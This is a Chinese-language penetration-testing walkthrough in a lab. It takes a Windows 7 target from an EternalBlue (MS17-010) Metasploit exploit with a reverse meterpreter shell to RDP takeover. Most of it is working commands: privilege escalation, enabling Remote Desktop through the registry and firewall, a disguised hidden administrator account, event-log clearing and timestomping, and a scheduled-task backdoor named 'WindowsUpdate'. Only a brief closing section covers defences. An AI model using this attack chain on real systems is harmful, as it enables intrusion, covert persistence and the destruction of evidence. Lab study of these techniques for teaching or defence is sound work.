实战演练:从漏洞利用到图形化渗透,详解Getshell后的3389接管全流程
1. 靶场环境搭建与基础配置
在开始实战演练之前,我们需要先搭建一个标准的渗透测试环境。这个环境由两台虚拟机组成:攻击机使用Kali Linux 2023.2版本,IP地址设置为192.168.25.130;靶机使用Windows 7 SP1企业版,IP地址为192.168.25.132。建议将两台机器都设置为桥接网络模式,确保它们处于同一局域网段。
我建议在VMware Workstation中为靶机创建一个快照,标记为"初始状态"。这样在每次实验完成后可以快速恢复到干净状态。同时记得关闭Windows防火墙和自动更新服务,避免干扰实验过程。在实际渗透测试中,这些防护措施是需要逐步绕过的,但作为教学演示我们先简化环境配置。
2. 利用永恒之蓝漏洞获取初始Shell
永恒之蓝(MS17-010)是Windows SMB协议的经典漏洞,虽然已经过去多年,但在内网渗透中仍然具有重要价值。在Kali中启动Metasploit框架,依次执行以下命令:
msfconsole use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.25.132 set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.25.130 exploit成功执行后,我们会获得一个meterpreter会话。这里有个实用技巧:立即执行getuid命令查看当前权限级别。如果是普通用户权限,需要先进行提权操作。我常用的方法是:
getsystem如果提权失败,可以尝试使用post/multi/recon/local_exploit_suggester模块寻找合适的本地提权漏洞。获得system权限后,建议先执行sysinfo记录靶机系统信息,这对后续操作很有帮助。
3. 命令行开启3389远程桌面服务
在meterpreter会话中,输入shell进入命令行界面。首先检查3389端口是否已经开放:
netstat -ano | find "3389"如果没有任何输出,说明远程桌面服务未开启。我们需要通过注册表修改来启用它。这里提供两种我实测有效的方法:
方法一:使用WMIC命令
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1方法二:修改注册表键值
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f执行成功后,建议再次确认端口状态。有时候还需要检查防火墙规则,可以运行:
netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 action=allow4. 创建隐蔽用户并提权
直接创建新用户容易被发现,我推荐先检查现有用户列表:
net user然后创建一个看似正常的用户名,比如"backupadmin":
net user backupadmin P@ssw0rd123 /add net localgroup administrators backupadmin /add更隐蔽的做法是克隆现有用户。首先查看注册表中的用户SID:
wmic useraccount get name,sid然后找到类似"500"的管理员账户SID,将其权限克隆到新建账户。这个操作需要修改注册表,具体步骤较为复杂,建议新手先掌握基础方法。
5. 使用Kali工具建立图形化连接
Kali Linux自带了多个RDP客户端工具,我最常用的是xfreerdp。基本连接命令如下:
xfreerdp /u:backupadmin /p:P@ssw0rd123 /v:192.168.25.132 /size:90% +clipboard+clipboard参数启用了剪贴板共享,这在渗透测试中非常实用。如果遇到证书错误,可以添加/cert:ignore参数。对于高分辨率屏幕,建议使用/dynamic-resolution参数让远程桌面自动适应窗口大小。
另一个实用工具是rdesktop,命令更简洁:
rdesktop -u backupadmin -p P@ssw0rd123 192.168.25.132 -g 90%连接成功后,建议立即进行几个关键操作:清除事件日志、禁用安全中心通知、设置屏幕保护程序密码。这些操作能延长我们的控制时间。
6. 痕迹清理与持久化维持
图形化操作会留下大量日志,我们需要进行基本清理。在meterpreter会话中:
clearev还可以使用timestomp修改文件时间戳。为了维持持久访问,我通常会创建计划任务:
schtasks /create /tn "WindowsUpdate" /tr "cmd.exe /c net user backupadmin P@ssw0rd123 /add" /sc onlogon /ru system这个任务会在每次系统启动时执行,确保我们的后门账户不会被删除。更高级的方法是通过WMI事件订阅实现无文件持久化,但这需要更深入的系统知识。
7. 防御措施与检测方法
作为负责任的渗透测试人员,我们必须了解如何防御此类攻击。管理员可以采取以下措施:
- 定期安装系统补丁
- 启用网络级身份验证(NLA)
- 修改默认3389端口
- 配置账户锁定策略
- 监控异常登录事件
在安全设备上,建议启用对SMB协议的特殊检测规则,并监控异常注册表修改行为。对于3389端口的爆破尝试,应该设置自动阻断机制。
